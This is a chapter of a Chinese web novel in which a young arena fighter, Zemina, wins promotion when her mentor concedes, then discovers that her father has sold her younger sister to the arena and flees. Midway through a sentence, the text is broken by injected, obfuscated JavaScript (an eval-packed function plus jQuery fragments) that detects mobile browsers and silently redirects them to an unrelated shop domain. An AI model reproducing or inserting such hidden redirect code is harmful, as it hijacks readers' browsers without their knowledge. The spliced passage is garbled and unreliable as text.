清晨的日夕慢慢照进竞技场里面。在那密不透风的窗格中,泽米娜抬头望着第三城区的一切。阳光被铁栏切成一格一格,落在她的脸上,像一道道金色的伤疤。
“我好想回家。但家又在哪?”
山姆大叔将报纸折了起来,放到了自己的柜子里面。破损不堪的柜门里,依旧放着许多的书籍,书脊被翻得发白,像被岁月磨过的骨头。
“又在想什么心事,泽米娜。你来到这里已经两个多月了。”
泽米娜看着自己的双手。曾经那稚嫩、饱含童真的双手,如今已经沾满了难以擦拭的污渍与老茧。指节上有细小的裂口,掌心有斧柄磨出的硬块,像一副不属于她的、过早戴上的盔甲。
“山姆大叔,我想回家。”
山姆大叔看着面前的泽米娜。从第一次看见她的眼神开始,她就变了。当时看到的还是一个扯高气扬的孩子,而如今,她已经完完全全了解了整个竞技场的规则,与暗地里的争斗。她的眼睛不再是十六岁该有的样子了。
“进来容易,出去很难。我只能这样对你形容。”
“有什么办法吗?”
“有是有。有些人会在半途中逃出去,但会被整个竞技场的工作人员,派出那些指定的杀手给抹杀。另一种方法是,在竞技场夺得冠军。”
泽米娜从开始到现在,从未见过冠军长什么样子。她心里有一种莫名其妙的不安,像有一根细线缠住了心脏,越收越紧。
“为什么我到现在都没有见到冠军?”
“因为我们的比赛积分一点都不够。我手上留下的鲜血已经够多了,有很多人劝我晋级,但我每次都会在晋级的时候主动败下阵来。因为我不想让我自己的生命,再在荒唐与争斗的笑话中了结。”
泽米娜沉默了。她望着地上的光斑在移动,自己能不能撑过明天也是个未知数。那光斑从她脚边慢慢爬走,像在提醒她时间从不等人。
“山姆大叔,能帮我个忙吗?”
“你说,我尽可能帮。”
“我要晋级。”
泽米娜犹豫这件事,犹豫了很久。每天晚上都在翻来覆去地睡不着。因为她知道,一旦踏上晋级的路,便是血与血的争斗。可她必须这么做。因为在那堵墙的外面,有一个她只见过一眼的妹妹。
“你确定吗,泽米娜。”山姆大叔看着泽米娜的双眼。
“我确定。”泽米娜也看着山姆大叔。
山姆大叔看见了她眼里那坚定的眼神,和刚来的时候一模一样,童真中带着一点傲气。那点傲气曾经差点要了她的命,现在却像一把重新被磨亮的刀。
“我会帮你的。明天应该就是我和你的对战了。你可以打败我,然后走向晋级。”
“谢谢你,山姆大叔。但我不知道我该用什么来报答你。”
山姆大叔没有犹豫,说:“活下去。回家。”
这五个字深深地印在了泽米娜的心里。她拿起旁边早已钝掉的斧头,在磨刀石上面磨了很多次。刀刃与石头摩擦的声音在空荡的休息室里回响,一声一声,像心跳。
“我会做到的。请你相信我。”
过了整整一天的休息,两个昔日的老友重新站在了台上。
站在高处的屠夫眺望着两个人,嘴角轻微地扬了起来,说:“山姆,你还会像十几年前那样吗?你所放走的女子,最后都会成为撼动整个天下的存在。”
泽米娜拿着斧头走上台。山姆也拿着两把铁刀走上了台。台上灯光刺眼,像要把人的影子都烧穿。
“与我对战吧。去实现你的理想,泽米娜。”
“我会拼尽全力的。”
台上的观众发出了呐喊声,纷纷往奖池里面下注。
一个带着斗篷的银发女子慢慢走进了最后的看台。刘海挂到脸颊旁边的发丝中间,能看出淡淡的玫红色双瞳。她站在人群后面,像一尊不被察觉的雕像。
“山姆,怎么比之前老了这么多。不过,你还是会像以前那样,放走那个女孩吧。”
说完,她将一个上面镶嵌着红宝石以及绿色橄榄枝的金戒指递给了身边的工作人员,嘱咐他等赛事结束以后交给泽米娜。
工作人员不清楚这位斗篷女子为什么要给这么昂贵的戒指,但女子给的服务费也价值不浅。
然后她便走出了竞技场,看着面前建立起来的第三城区。风从街道尽头吹来,掀动她斗篷的一角。
“时间过得真的好快。好快,好快。不知道哥伦比亚现在怎么样了。现在空位还有很多,我很看重那个女孩。你说呢,贝利亚。”
“不愧是阿斯莫德小姐。我隐藏得这么深,也只有你能发现了。”
“少说那些没有用的屁话。这回又是你的投影吧?”
“我本体现在还在床上喝水。咳咳咳,咳咳,呛死我了,咳咳咳。”
“居然能被水呛到,说不定你之后还能被掐死呢。”
“既然在小姐面前出丑了。你对她观察得怎么样?”
“目前看来觉得还行。但她能不能撑到自己内心的那一刻,一切都是个未知数。”
“那我就期待这美妙的演出吧。到底会奉上什么精彩片段。”
“我回趟哥伦比亚。”
“去那里干嘛?待在玻利瓦尔不好吗?或者去汐斯塔也可以,那里的风景很好看。”
“我看你脑子最近越来越不灵清了。我去哪,你管得着吗?”
“是阁下失言了。你又要去看一下你的杰作吗。”
“这倒也不是。去看一眼我收养的小猫。”
“没想到你还在养小猫。到时候能不能成为我的养料呀?”
“你再说一句话,我现在就到皇宫里宰了你。”
“抱歉抱歉。不知道亚巴顿会怎么想呢?”
“你就一个嘴是动的。他有自己的想法,我现在做的跟他无关。”
“其实我来到这里的目的还有一个。”
“我倒要看看你这巧如天花的嘴舌能说出什么话。”
“我想让你看看阿撒兹勒小姐。这些年来,莫斯提马一直没有找她玩。在那时你们俩应该见过一面,你可以去找她散散心。”
“她还挺可爱的。但我不确定她会不会直接拿一根黑刺把我给插死。所以恕我告辞。”
“没事,取决于你。”
阿斯莫德向着哥伦比亚慢慢走去。本来以她的速度,一两分钟就可以穿梭于整个大陆。但她现在想看看没有经历过的风景。她想看看那些平凡的、和死亡无关的东西。
此时在竞技场中央,山姆大叔还没反应过来,利维坦已经跑到自己面前,拿着巨斧挥向自己。
山姆两只手架着刀,斧刃砍向两个刀背之间,发出了激烈的金属碰撞声。火星在两人之间炸开,又迅速熄灭。
“泽米娜,不错。要找好角度进攻,不要一味使用蛮力。”
“谢谢你的指点。”
泽米娜双手持斧,一记猛进横劈过来。山姆连忙踮脚闪避开了。忽然,从另一边又劈下一道,他只能用双刃硬扛住泽米娜的一击。斧刃压着刀背,发出令人牙酸的摩擦声。
“元技,碎裂。”
斧头被强光闪耀着。随着泽米娜一跃而起,在重心的加持下,从天而降,将山姆大叔的两把刀砍断。断刃飞出去,插进了地面。
山姆大叔连连后退,说:“不错,不错。既然我手上的武器已经没有了,那我就投降吧。”
随后,山姆大叔直接选择了投降。在看台人们的一片唏嘘声中,慢慢走下台。
而台上,只留下了一个泽米娜。她看着眼前幕布慢慢打开,随后走来了主办方。
泽米娜看着第一次遇见的那位主办方,心里不由起了敬佩。他还和那天一样,十个手指头戴满金戒指,走路时那些戒指撞在一起,发出细碎的响。
“我们又见面了,泽米娜。你能打败山姆,是一个很好的开端。但是之后的路,会很长很长。”
“我没有什么后怕。我只渴望着第一。”
主办方打量了一下面前的泽米娜,心中起了一些疑惑。因为他知道,在十年前,也有一个跟她一样的女子,站在自己的面前,说着类似的话。
“那既然这样,你成功晋级了。这是一个人托付给你的东西,好好保管。”
泽米娜接过了主办方给的金戒指。那枚戒指套在她的食指上,显得十分光闪。红宝石在灯光下像一颗凝固的血滴。
“我想问一下,这是谁送的?”
“不知道。有可能跟你是熟人。”
泽米娜回想起自己见过的所有人,也就寥寥几个,没有一个是富贵人家。
“应该是个陌生人。我没有认识过能随手给我一个这么昂贵戒指的人。”
主办方慢慢看着泽米娜,双手插着口袋走向门口,说:“这个戒指,应该是某个人寄托给你的希望。或许以后有用呢,你可以替她先保管着。”
“算了,那也可以。”
泽米娜慢慢走到了后台,看着坐在凳子上的山姆大叔,还有曾经与自己战斗过的屠夫。
“山姆大叔,屠夫先生。”
山姆大叔抬头看着泽米娜,说:“恭喜你成功晋级了。但是以后的路,还很长。”
“没事的,我自己能搞定。”
屠夫说:“山姆,我跟其他人打了个赌,我压的是泽米娜。因为我相信,你会像十几年前那样,放走那个女子。”
山姆开始慢慢回想起曾经与那个女子战斗。记得她刚来的时候衣衫褴褛,在自己的精心照顾下,努力地去战斗。但是在那一次战败以后,就不在竞技场了。
“她确实可惜。她的名字我有点记不清了。但是我相信泽米娜,她有自己坚定的意志,不会输的。”
屠夫摸了摸没有几根头发的头皮,说:“我也宁愿这么相信。泽米娜,以后拿了冠军奖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894643|212817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
金,要分我一点。”
泽米娜笑了笑,说:“完全没问题。我分你一成,山姆大叔分五成。”
屠夫笑了笑,拍了拍泽米娜的肩膀:“山姆还是挺会教育的。不像我,从来没有读过书。”
山姆说:“我一天到晚把书送你面前,你也不要看。”
“我是不识字呀。”
“算了,以后教你识字。”
泽米娜说:“那我先出去了,去主办方那边签一下合同。”
泽米娜开心地向着办公室里面走去。但她看见办公室窗帘后面,透过了两个背影,还有一个被双手抱着的影子。那个影子很瘦小,像一只被抓住翅膀的鸟。
泽米娜将耳朵贴在门口,听着门里传来的声音。
“你真要这么做吗?”
“没办法。这是我最不想做的事情,但我已经真的没有办法了。为了延续妻子的生命,我已经将家里所有能当的、所有能卖的都给花掉了。加上我目前的收入,都无法让她活着。”
“可是她是你女儿。”
“她刚年满十六。如果我的考虑没有周到的话,我另外一个女儿应该也在这里吧。”
“我们这边只有一个女子,而且没有任何自己亲生的表弟表妹。”
“那看来是我多虑了。她现在应该找了个好工作,每个月能寄来好多钱。这些钱,劳伦缇娜吃得很饱。”
泽米娜听见了“劳伦缇娜”四个字。硕大的眼泪从眼眶里面夺眶而出。她不敢相信自己的父亲,把自己的妹妹亲手送到了竞技场里。
泽米娜一脚踢开了大门。塔维奥和主办方惊恐地看着面前的泽米娜。
“塔维奥!你在干什么事情!为什么要将劳伦缇娜送到这里?!”
“泽……泽米娜,你为什么会……会在这里。”
“因为这里赚的钱足够多,可以供劳伦缇娜填饱肚子。可是你为什么要将劳伦缇娜送到这个用性命来赚钱的地方!”
塔维奥慢慢低下了头,不知道该说什么。他的肩膀塌了下去,像一座终于支撑不住的山。
“我是一个失败的父亲。一个失败的丈夫。一个一无所用的人。我第一个妻子在战场上死去,你代替她活了下来。”
塔维奥哽咽了一下,说:“我不能再让劳伦缇娜的妈妈死去。她从出生到现在,都没有见过一眼自己的亲生母亲。我的两个妻子都有同样的疾病,再加上那一次大战,她们俩都丧失了自己的元技。而维持她生命的药物又十分昂贵,所以我才不得不……”
“你别说了!不能让劳伦缇娜来到这个地方!”
泽米娜“扑通”一声跪倒在地上。她用乞求的眼神看着面前的父亲。泪水砸在地上,打湿了冰冷的石板。
“父亲,算我求你了。不要让劳伦缇娜在这种地方受伤。”
“泽……泽米娜,可是我不得不这样。如果你想要憎恨我,那就憎恨吧。我是一个彻头彻尾失败的父亲。原谅我的天真吧,原谅我的无知吧,原谅我的想法吧,泽米娜。”
泽米娜不知道该说些什么。她将桌子上的花瓶用力摔在地上。碎片四溅,花瓣随着流出来的水飘散到四周,像一场微小而惨烈的葬礼。
“如果你非要这样的话,那我也只能退出这个竞技场。你答应过我的,不能让劳伦缇娜看到我。你不要告诉她。”
塔维奥的双拳握得很紧,说:“我现在,别无选择了吗。”
“你别无选择。”
“好。对不起,泽米娜。对不起。”
塔维奥抱住泽米娜。她感受着父亲的温暖传递到自己那冰冷的身躯之上,自己的眼泪止不住地往下流。那温暖曾经是她想象过无数次的东西,现在却烫得她浑身发抖。
主办方说:“你真的要替女儿签这份合同吗?”
“我愿意。哪怕献上我的灵魂。”
泽米娜看着面前躺在沙发上的劳伦缇娜,像是被一记手刀击昏过去的样子。她睡得很安静,睫毛轻轻覆在眼睑上,像两把合拢的小扇子。
“姐姐要走了。抱歉,我不敢面对面与你说话。但是我的心里,永远会有你。”
泽米娜走出了门,慢慢来到了休息室里。
山姆大叔说:“这么快就毫不犹豫地签完了?小姑娘以后必定是个不平凡的人。”
“山姆大叔,我再求你一件事,行吗?”
“什么事?”
“我的妹妹,劳伦缇娜。她跟我一样,来到了竞技场。我求你去帮我照顾她。最后不要跟她说任何关于我的事情。我不能在她面前存在。”
“行,我答应你。你一定要活下去。”
话音刚落,泽米娜便从窗子外面翻了出去,消失在茫茫的建筑群当中。夜色吞没了她的身影,像一滴水落进了大海。
山姆看着远方消失的人影,说:“希望你能活着。你的妹妹,我会帮你照顾好的。不用担心,泽米娜。走自己心里的那条路。”